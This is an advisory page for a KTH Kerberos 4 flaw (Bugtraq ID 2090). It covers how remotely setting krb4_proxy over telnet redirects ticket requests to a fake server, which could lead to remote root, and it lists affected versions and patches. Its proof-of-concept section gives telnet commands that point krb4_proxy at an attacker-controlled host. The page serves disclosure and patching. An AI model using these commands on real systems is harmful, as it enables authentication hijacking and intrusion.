KTH Kerberos 4 Arbitrary Proxy Usage Vulnerability
BID:2090
Info
KTH Kerberos 4 Arbitrary Proxy Usage Vulnerability
| Bugtraq ID: | 2090 |
| Class: | Access Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | Yes |
| Published: | Dec 08 2000 12:00AM |
| Updated: | Dec 08 2000 12:00AM |
| Credit: | First posted to Bugtraq by Jouko Pynnonen <[email protected]> on Dec 8, 2000. |
| Vulnerable: |
KTH Kerberos 4 1.0.3 -1.0 KTH Kerberos 4 1.0.3 -1 KTH Kerberos 4 1.0.3 KTH Kerberos 4 1.0.2 KTH Kerberos 4 1.0.1 -1 KTH Kerberos 4 1.0.1 KTH Kerberos 4 1.0 -1.0.1 KTH Kerberos 4 1.0 KTH Kerberos 4 0.10.1 KTH Kerberos 4 0.10 KTH Kerberos 4 0.9.9 KTH Kerberos 4 0.9.8 KTH Kerberos 4 0.9.7 KTH Kerberos 4 0.9.6 +patches KTH Kerberos 4 0.9.6 KTH Kerberos 4 0.9.5 KTH Kerberos 4 0.9.3 KTH Kerberos 4 0.9.2 a KTH Kerberos 4 0.9.2 KTH Kerberos 4 0.9.1 KTH Kerberos 4 0.9 KTH Kerberos 4 0.8 KTH Kerberos 4 0.7 KTH Kerberos 4 0.6 KTH Kerberos 4 0.5 KTH Kerberos 4 0.1 KTH Kerberos 4 0.0 |
| Not Vulnerable: |
KTH Kerberos 4 1.0.4 |
Discussion
KTH Kerberos 4 Arbitrary Proxy Usage Vulnerability
Kerberos is a widely used network service authentication system. The version of Kerberos developed and maintained by KTH (Swedish Royal Institute of Technology) contains a vulnerability that may allow/assist in a local or remote root compromise.
KTH Kerberos uses an environment variable called 'krb4_proxy' when a proxy server is required to retrieve tickets via HTTP. KTH Kerberos-supported services will contact the supplied proxy server (the value of krb4_proxy) instead of the default Kerberos server if this variable is set.
It is possible for malicious remote users (before authenticating) to remotely set the value of this variable and have the server program contact a fake Kerberos server. This would allow the attacker to intercept authentication requests and/or send false replies to the service they are attempting to use. An attacker, for example, could send the environment variable via telnet to a Kerberos supporting telnet daemon.
This attack allows malicious users in control of a fake Kerberos server to exploit a buffer overflow vulnerability (See Bugtraq ID 2091) in the Kerberos shared libraries with malformed replies. If exploited, the combined vulnerabilities may provide remote root access to attackers.
Kerberos is a widely used network service authentication system. The version of Kerberos developed and maintained by KTH (Swedish Royal Institute of Technology) contains a vulnerability that may allow/assist in a local or remote root compromise.
KTH Kerberos uses an environment variable called 'krb4_proxy' when a proxy server is required to retrieve tickets via HTTP. KTH Kerberos-supported services will contact the supplied proxy server (the value of krb4_proxy) instead of the default Kerberos server if this variable is set.
It is possible for malicious remote users (before authenticating) to remotely set the value of this variable and have the server program contact a fake Kerberos server. This would allow the attacker to intercept authentication requests and/or send false replies to the service they are attempting to use. An attacker, for example, could send the environment variable via telnet to a Kerberos supporting telnet daemon.
This attack allows malicious users in control of a fake Kerberos server to exploit a buffer overflow vulnerability (See Bugtraq ID 2091) in the Kerberos shared libraries with malformed replies. If exploited, the combined vulnerabilities may provide remote root access to attackers.
Exploit / POC
KTH Kerberos 4 Arbitrary Proxy Usage Vulnerability
telnet> environ define krb4_proxy http://your.host:80
telnet> environ export krb4_proxy
telnet> open localhost
telnet> environ define krb4_proxy http://your.host:80
telnet> environ export krb4_proxy
telnet> open localhost
Solution / Fix
KTH Kerberos 4 Arbitrary Proxy Usage Vulnerability
Solution:
Upgrade to KTH Kerberos 4 version 1.0.4. NetBSD has released a patch for NetBSD 1.5.
KTH Kerberos 4 1.0
KTH Kerberos 4 1.0.3
Solution:
Upgrade to KTH Kerberos 4 version 1.0.4. NetBSD has released a patch for NetBSD 1.5.
KTH Kerberos 4 1.0
-
FreeBSD 3.5.1 telnetd-krb.3.5.1.patch
ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-01:25/telnetd-krb.3. 5.1.patch -
FreeBSD 4.2 telnetd-krb.4.2.patch
ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-01:25/telnetd-krb.4. 2.patch
KTH Kerberos 4 1.0.3
-
KTH Kerberos 4 1.0.4
ftp://ftp.pdc.kth.se/pub/krb/src/krb4-1.0.4.tar.gz -
NetBSD 20001220-krb
ftp://ftp.NetBSD.ORG/pub/NetBSD/misc/security/patches/20001220-krb
References
KTH Kerberos 4 Arbitrary Proxy Usage Vulnerability
References:
References:
- KTH Kerberos Homepage (Swedish Royal Institute of Technology)